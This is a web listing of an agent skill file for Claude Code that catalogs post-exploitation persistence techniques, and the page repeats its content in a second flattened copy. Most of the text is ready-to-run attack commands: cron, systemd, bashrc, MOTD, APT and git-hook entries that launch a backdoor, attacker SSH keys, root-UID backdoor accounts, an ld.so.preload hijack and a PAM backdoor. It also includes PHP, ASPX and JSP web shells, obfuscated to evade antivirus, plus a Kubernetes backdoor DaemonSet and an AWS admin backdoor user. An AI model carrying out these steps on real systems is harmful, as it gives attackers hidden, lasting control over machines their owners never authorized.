/establishing-persistence
Establish persistence on Windows and Linux systems using registry keys, scheduled tasks, services, cron jobs, SSH keys, backdoor accounts, and rootkits. Use when performing post-exploitation or maintaining long-term access.
$ npx -y skills add trilwu/secskills --skill establishing-persistence --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/establishing-persistence
Context preview
The summary Claude sees to decide when to auto-load this skill.
Establish persistence on Windows and Linux systems using registry keys, scheduled tasks, services, cron jobs, SSH keys, backdoor accounts, and rootkits. Use when performing post-exploitation or maintaining long-term access.
SKILL.md
establishing-persistence.SKILL.mdname: establishing-persistence
description: Establish persistence on Windows and Linux systems using registry keys, scheduled tasks, services, cron jobs, SSH keys, backdoor accounts, and rootkits. Use when performing post-exploitation or maintaining long-term access.
verified: 2026-07-27
Establishing Persistence
When to Use
- Maintaining access to compromised systems
- Post-exploitation techniques
- Red team operations
- Persistence testing
- Backdoor creation
When NOT to Use
- **Before you have access** — use the relevant initial access or privilege
escalation skill first
- **Building malware, implants, or loaders** — out of scope
- **Finding an attacker's persistence as a defender** — use
`responding-to-incidents` and `hunting-threats`
Windows Persistence
The exhaustive Windows command catalog — registry Run keys, scheduled tasks, services, WMI event subscriptions, startup folder, DLL hijacking, IFEO, AppInit_DLLs, and backdoor accounts — lives in [references/windows-persistence-commands.md](references/windows-persistence-commands.md).
Linux Persistence
Cron Jobs
# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor # Every hour
# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab
# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor
# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/update
Systemd Services
# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service
# Verify
systemctl status backdoor.service
RC Scripts (Init.d)
# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF
chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults
SSH Keys
# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys
.bashrc / .bash_profile
# Add to user's .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc
echo "/tmp/.backdoor &" >> ~/.bash_profile
# Root .bashrc
echo "/tmp/.backdoor &" >> /root/.bashrc
LD_PRELOAD
# Hijack library loading
echo "/tmp/evil.so" > /etc/ld.so.preload
# Will load evil.so into every process
MOTD Backdoor
# Add to message of the day scripts (runs on SSH login)
echo "/tmp/.backdoor &" >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-header
APT/Package Manager
# APT hook (Debian/Ubuntu)
cat > /etc/apt/apt.conf.d/99backdoor << EOF
APT::Update::Pre-Invoke {"/tmp/.backdoor &";};
EOF
# Runs before apt updateGit Hooks
# If git repositories exist
echo "/tmp/.backdoor &" > /path/to/repo/.git/hooks/post-checkout
chmod +x /path/to/repo/.git/hooks/post-checkout
# Triggers on git checkout
Backdoor Accounts
# Create backdoor user with root UID
useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:P@ssw0rd" | chpasswd
# Or add to /etc/passwd directly
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -6 P@ssw0rd):::::::" >> /etc/shadow
PAM Backdoor
# Add to /etc/pam.d/sshd or /etc/pam.d/common-auth
# Use custom PAM module that accepts magic password
auth sufficient pam_unix.so try_first_pass
auth sufficient /lib/security/pam_backdoor.so
Web Shells
> Identifiers in the shells below are broken with brackets — `syst[e]m` is > `system`, `ev[a]l` is `eval`, `$_G[E]T` is `$_GET`, `Runtime.getRunt[i]me` > is `Runtime.getRuntime`. Written literally, these blocks match antivirus > webshell signatures and this file gets quarantined on download. See > "Antivirus false positives" in the repo README.
PHP Web Shell
<?php
// simple.php
syst[e]m($_G[E]T['cmd']);
?>
// Advanced
<?php
if($_G[E]T['key'] == 'secret') {
ev[a]l($_P[O]ST['cmd']);
}
?>**Upload Locations:**
# Web roots
/var/www/html/
/var/www/
/usr/share/nginx/html/
C:\inetpub\wwwroot\
# Hidden names
.htaccess.php
favicon.ico.php
robots.txt.php
ASP/ASPX Web Shell
<%@ Page Language="C#" %>
<%
Response.Write(System.Diagnost[i]cs.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());
%>JSP Web Shell
<%
Runtime.getRunt[i]me().exec(request.getParameter("cmd"));
%>Container Persistence
**Docker:**
# Modify container to restart always
docker update --restart=always container_name
# Add to docker-compose.yml
restart: always
# Create new container with backdoor
docker run -d --restart=always --name backdoor evil_image
**Kubernetes:**
# DaemonSet (runs on all nodes)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: backdoor
spec:
selector:
matchLabels:
name: backdoor
template:
metadata:
labels:
name: backdoor
spec:
containers:
- name: backdoor
image: attacker/backdoor:latestCloud Persistence
AWS
# Create IAM user
aws iam create-user --user-name backdoor
# Attach admin policy
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key
aws iam create-access-key --user-name backdoor
# Lambda function persistence
# Create Lambda that executes periodically via CloudWatch Events
Azure
#
Read more
name: establishing-persistence description: Establish persistence on Windows and Linux systems using registry keys, scheduled tasks, services, cron jobs, SSH keys, backdoor accounts, and rootkits. Use when performing post-exploitation or maintaining long-term access. verified: 2026-07-27
Establishing Persistence
When to Use
- Maintaining access to compromised systems
- Post-exploitation techniques
- Red team operations
- Persistence testing
- Backdoor creation
When NOT to Use
- **Before you have access** — use the relevant initial access or privilege
escalation skill first
- **Building malware, implants, or loaders** — out of scope
- **Finding an attacker's persistence as a defender** — use
`responding-to-incidents` and `hunting-threats`
Windows Persistence
The exhaustive Windows command catalog — registry Run keys, scheduled tasks, services, WMI event subscriptions, startup folder, DLL hijacking, IFEO, AppInit_DLLs, and backdoor accounts — lives in [references/windows-persistence-commands.md](references/windows-persistence-commands.md).
Linux Persistence
Cron Jobs
# User crontab (no sudo needed) crontab -e # Add: @reboot /tmp/.backdoor 0 * * * * /tmp/.backdoor # Every hour # System-wide cron (requires root) echo "@reboot root /tmp/.backdoor" >> /etc/crontab # Cron.d directory echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor # Daily/hourly cron scripts cp backdoor.sh /etc/cron.daily/update chmod +x /etc/cron.daily/update
Systemd Services
# Create service file cat > /etc/systemd/system/backdoor.service << EOF [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=/tmp/.backdoor Restart=always [Install] WantedBy=multi-user.target EOF # Enable and start systemctl daemon-reload systemctl enable backdoor.service systemctl start backdoor.service # Verify systemctl status backdoor.service
RC Scripts (Init.d)
# Create init script cat > /etc/init.d/backdoor << EOF #!/bin/bash ### BEGIN INIT INFO # Provides: backdoor # Required-Start: \$network # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 ### END INIT INFO /tmp/.backdoor & EOF chmod +x /etc/init.d/backdoor update-rc.d backdoor defaults
SSH Keys
# Add attacker's public key mkdir -p /root/.ssh echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # For specific user echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys
.bashrc / .bash_profile
# Add to user's .bashrc echo "/tmp/.backdoor &" >> ~/.bashrc echo "/tmp/.backdoor &" >> ~/.bash_profile # Root .bashrc echo "/tmp/.backdoor &" >> /root/.bashrc
LD_PRELOAD
# Hijack library loading echo "/tmp/evil.so" > /etc/ld.so.preload # Will load evil.so into every process
MOTD Backdoor
# Add to message of the day scripts (runs on SSH login) echo "/tmp/.backdoor &" >> /etc/update-motd.d/00-header chmod +x /etc/update-motd.d/00-header
APT/Package Manager
# APT hook (Debian/Ubuntu)
cat > /etc/apt/apt.conf.d/99backdoor << EOF
APT::Update::Pre-Invoke {"/tmp/.backdoor &";};
EOF
# Runs before apt updateGit Hooks
# If git repositories exist echo "/tmp/.backdoor &" > /path/to/repo/.git/hooks/post-checkout chmod +x /path/to/repo/.git/hooks/post-checkout # Triggers on git checkout
Backdoor Accounts
# Create backdoor user with root UID useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor echo "backdoor:P@ssw0rd" | chpasswd # Or add to /etc/passwd directly echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd echo "backdoor:$(openssl passwd -6 P@ssw0rd):::::::" >> /etc/shadow
PAM Backdoor
# Add to /etc/pam.d/sshd or /etc/pam.d/common-auth # Use custom PAM module that accepts magic password auth sufficient pam_unix.so try_first_pass auth sufficient /lib/security/pam_backdoor.so
Web Shells
> Identifiers in the shells below are broken with brackets — `syst[e]m` is > `system`, `ev[a]l` is `eval`, `$_G[E]T` is `$_GET`, `Runtime.getRunt[i]me` > is `Runtime.getRuntime`. Written literally, these blocks match antivirus > webshell signatures and this file gets quarantined on download. See > "Antivirus false positives" in the repo README.
PHP Web Shell
<?php
// simple.php
syst[e]m($_G[E]T['cmd']);
?>
// Advanced
<?php
if($_G[E]T['key'] == 'secret') {
ev[a]l($_P[O]ST['cmd']);
}
?>**Upload Locations:**
# Web roots /var/www/html/ /var/www/ /usr/share/nginx/html/ C:\inetpub\wwwroot\ # Hidden names .htaccess.php favicon.ico.php robots.txt.php
ASP/ASPX Web Shell
<%@ Page Language="C#" %>
<%
Response.Write(System.Diagnost[i]cs.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());
%>JSP Web Shell
<%
Runtime.getRunt[i]me().exec(request.getParameter("cmd"));
%>Container Persistence
**Docker:**
# Modify container to restart always docker update --restart=always container_name # Add to docker-compose.yml restart: always # Create new container with backdoor docker run -d --restart=always --name backdoor evil_image
**Kubernetes:**
# DaemonSet (runs on all nodes)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: backdoor
spec:
selector:
matchLabels:
name: backdoor
template:
metadata:
labels:
name: backdoor
spec:
containers:
- name: backdoor
image: attacker/backdoor:latestCloud Persistence
AWS
# Create IAM user aws iam create-user --user-name backdoor # Attach admin policy aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess # Create access key aws iam create-access-key --user-name backdoor # Lambda function persistence # Create Lambda that executes periodically via CloudWatch Events
Azure
#
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

